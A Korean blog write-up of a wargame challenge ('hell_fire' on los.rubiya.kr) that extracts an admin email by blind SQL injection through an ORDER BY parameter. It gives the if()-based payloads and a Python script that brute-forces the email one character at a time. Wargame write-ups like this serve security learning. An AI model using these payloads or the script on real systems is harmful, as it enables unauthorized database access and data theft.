시작하겠습니다.
union을 못쓰는데 admin의 email을 찾아야만 하네요
그럼.. 일단 order에 1을 입력해 보겠습니다.
?order=1
1이면 저렇게 나오네요 그럼 한번 if문을 사용해 보겠습니다.
?order=if(id='admin' AND length(email)=0,1,100)
참이면 1 거짓이면 100 나오게 했습니다.
무조건 거짓이니깐 100이 나오겠죠?
이번엔
?order=if(id='admin' AND length(email)>0,1,100) 참으로 해서 1 나오게 하겠습니다.
1 즉 참이면 admin이 맨 윗줄 나오고 100 거짓이면 admin이 2번째 줄로 밀려나네요!
0은 안되냐고 물으실 수 있는데 이 if절을 하고 나면 결과가 상관없이 admin이 맨 아랫줄에 나옵니다.
?order=if(id='admin' AND length(email)=0,1,0)
어쨌든 이렇게 참이면 1 거짓이면 100 나오게 해서 맨 윗줄에 admin이 나오면 그때 참인 걸로 판별하겠습니다!
한번 admin의 length 길이값을 찾아보겠습니다.
이진 탐색 해서 찾아보니 28이라는 값을 찾았습니다.
?order=if(id='admin' AND length(email)=28,1,100)
이제 substring과 ascii 함수로 찾아보겠습니다.
저는 맨 끝에 limit 0,1을 설정해서 맨 윗줄만 나오게 설정하겠습니다.
?order=if(id='admin' AND length(email)=28,1,100) limit 0,1
그리고 rubiya가 없다는 이야기는 admin이 맨 위에 있다는 이야기니깐 참이라는 이야기겠죠!
그러니 파이썬 코드를 작성하겠습니다.
import requests
import urllib.parse
#******parameter:[파라미터이름],parameter value: [파라미터값],word: [식별용단어] ------ ctrl+h 이용하여 바꾸기********
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php" #공격할 url 작성
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
"Cookie": "PHPSESSID=g2mjo4aaa262hjvanp12295h3k"
} #header 기본 구문, 쿠키도 작성
def blind_sqli(blind_query) :
while True :
query = input("알아보고 싶은 명의 SQL문을 작성하세요! ")
index_value = "rubiya" #참 거짓 식별용
value = binarySearch(query,index_value)
print(value + "\n")
def binarySearch(query, index_value) :
s = 1
value = ""
for j in range(28) :
for i in range(32, 127) : #공백부터 ~까지 대입
data = {
"order": blind_query.format(query, s, i)
}
response = requests.get(url, params=data, headers=headers) #만약 get방식이면 수정하기
if index_value not in response.text :
value += chr(i)
s+=1
print(value) #잘되나 확인용
return value
blind_query = "if(id='admin' AND ascii(substring({},{},1))={},1,100) limit 0,1" #수정할거면 수정 하기 --Blind sqli 용
blind_sqli(blind_query) #blind_query 시작
공격 쿼리는 if(id='admin' AND ascii(substring({},{},1))={},1,100) limit 0,1 입니다.
format 함수로 각각 자동으로 초기화되게 했습니다.
공격 url이랑 쿠키값은 자신 걸로 바꾸셔야 돼요!
실행해 보겠습니다.
email 입력해서 좀 오래 기다려 보겠습니다.
이진 탐색하면 더욱 빠른데 근데 중간중간에 . 이나 / 같은 값이 나오면 오류가 나게 되어서
그냥 일일이 넣는 코드를 했습니다.
?email=admin_secure_email@emai1.com
감사합니다!
'워게임' 카테고리의 다른 글
los rubiya - 25(green_dragon) 풀이 (0) | 2023.05.25 |
---|---|
los rubiya - 24(evil_wizard) 풀이 (1) | 2023.05.24 |
los rubiya - 22(dark_eyes) 풀이 (0) | 2023.05.23 |
los rubiya - 21(iron_golem) 풀이 (0) | 2023.05.18 |
los rubyia - 19번 20번 풀이 (0) | 2023.05.16 |